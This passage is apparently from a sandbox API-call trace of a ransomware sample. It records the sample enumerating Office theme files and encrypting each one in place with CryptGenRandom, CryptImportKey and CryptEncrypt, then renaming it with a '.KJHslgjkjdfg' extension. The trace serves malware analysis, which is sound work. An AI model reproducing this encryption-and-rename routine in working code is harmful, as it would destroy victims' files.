lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f6af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0147.539] CloseHandle (hObject=0x118) returned 1 [0147.539] GetProcessHeap () returned 0x2a0000 [0147.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0147.539] GetProcessHeap () returned 0x2a0000 [0147.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0147.539] GetProcessHeap () returned 0x2a0000 [0147.539] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0147.539] GetProcessHeap () returned 0x2a0000 [0147.540] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.540] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0147.540] GetProcessHeap () returned 0x2a0000 [0147.540] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0147.540] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0147.540] GetProcessHeap () returned 0x2a0000 [0147.540] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8c) returned 0x2ef2d8 [0147.540] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0147.541] GetProcessHeap () returned 0x2a0000 [0147.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0147.541] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0147.541] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd0e5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.ELM", cAlternateFileName="")) returned 1 [0147.541] GetProcessHeap () returned 0x2a0000 [0147.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28e) returned 0x2f32d0 [0147.541] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.542] GetProcessHeap () returned 0x2a0000 [0147.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.542] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.542] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.542] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xb, lpOverlapped=0x0) returned 1 [0147.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.544] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.544] GetProcessHeap () returned 0x2a0000 [0147.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.544] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.544] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.544] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.544] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.544] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.545] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.545] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.545] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.545] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd0e5, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xd0e5, lpOverlapped=0x0) returned 1 [0147.546] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd0f0, dwBufLen=0xd0f0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xd0f0) returned 1 [0147.547] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.547] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd0f0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xd0f0, lpOverlapped=0x0) returned 1 [0147.547] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.547] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xd1b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.547] SetEndOfFile (hFile=0x118) returned 1 [0147.550] GetProcessHeap () returned 0x2a0000 [0147.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.550] GetProcessHeap () returned 0x2a0000 [0147.550] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.550] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.elm.kjhslgjkjdfg")) returned 1 [0147.551] CloseHandle (hObject=0x118) returned 1 [0147.551] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0147.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.552] GetProcessHeap () returned 0x2a0000 [0147.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.552] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.552] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.552] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0147.554] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.554] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.554] GetProcessHeap () returned 0x2a0000 [0147.554] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0147.554] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0147.554] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.554] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0147.554] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.554] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.554] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.555] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.555] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.555] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.555] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.555] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.555] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x21b, lpOverlapped=0x0) returned 1 [0147.555] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220, dwBufLen=0x220 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x220) returned 1 [0147.555] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.555] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x220, lpOverlapped=0x0) returned 1 [0147.555] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.555] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x2e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.555] SetEndOfFile (hFile=0x118) returned 1 [0147.559] GetProcessHeap () returned 0x2a0000 [0147.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0147.559] GetProcessHeap () returned 0x2a0000 [0147.559] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PIXEL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\pixel.inf.kjhslgjkjdfg")) returned 1 [0147.565] CloseHandle (hObject=0x118) returned 1 [0147.565] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0147.565] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.566] GetProcessHeap () returned 0x2a0000 [0147.566] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.566] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.566] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.566] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0147.569] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.569] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.569] GetProcessHeap () returned 0x2a0000 [0147.569] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.569] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.569] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.569] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.569] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.569] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.569] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.569] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.570] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.570] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.570] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.570] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x639, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x639, lpOverlapped=0x0) returned 1 [0147.570] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x640, dwBufLen=0x640 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x640) returned 1 [0147.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.570] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x640, lpOverlapped=0x0) returned 1 [0147.570] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.570] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.570] SetEndOfFile (hFile=0x118) returned 1 [0147.574] GetProcessHeap () returned 0x2a0000 [0147.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0147.574] GetProcessHeap () returned 0x2a0000 [0147.574] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0147.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.kjhslgjkjdfg")) returned 1 [0147.575] CloseHandle (hObject=0x118) returned 1 [0147.578] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0147.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0147.580] GetProcessHeap () returned 0x2a0000 [0147.580] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0147.580] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0147.580] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0147.580] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xf, lpOverlapped=0x0) returned 1 [0147.585] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.585] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.585] GetProcessHeap () returned 0x2a0000 [0147.585] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0147.585] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0147.585] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0147.585] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0147.585] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0147.586] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0147.586] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0147.586] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0147.586] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0147.586] SetFilePointerEx (in: hFile=0x118, 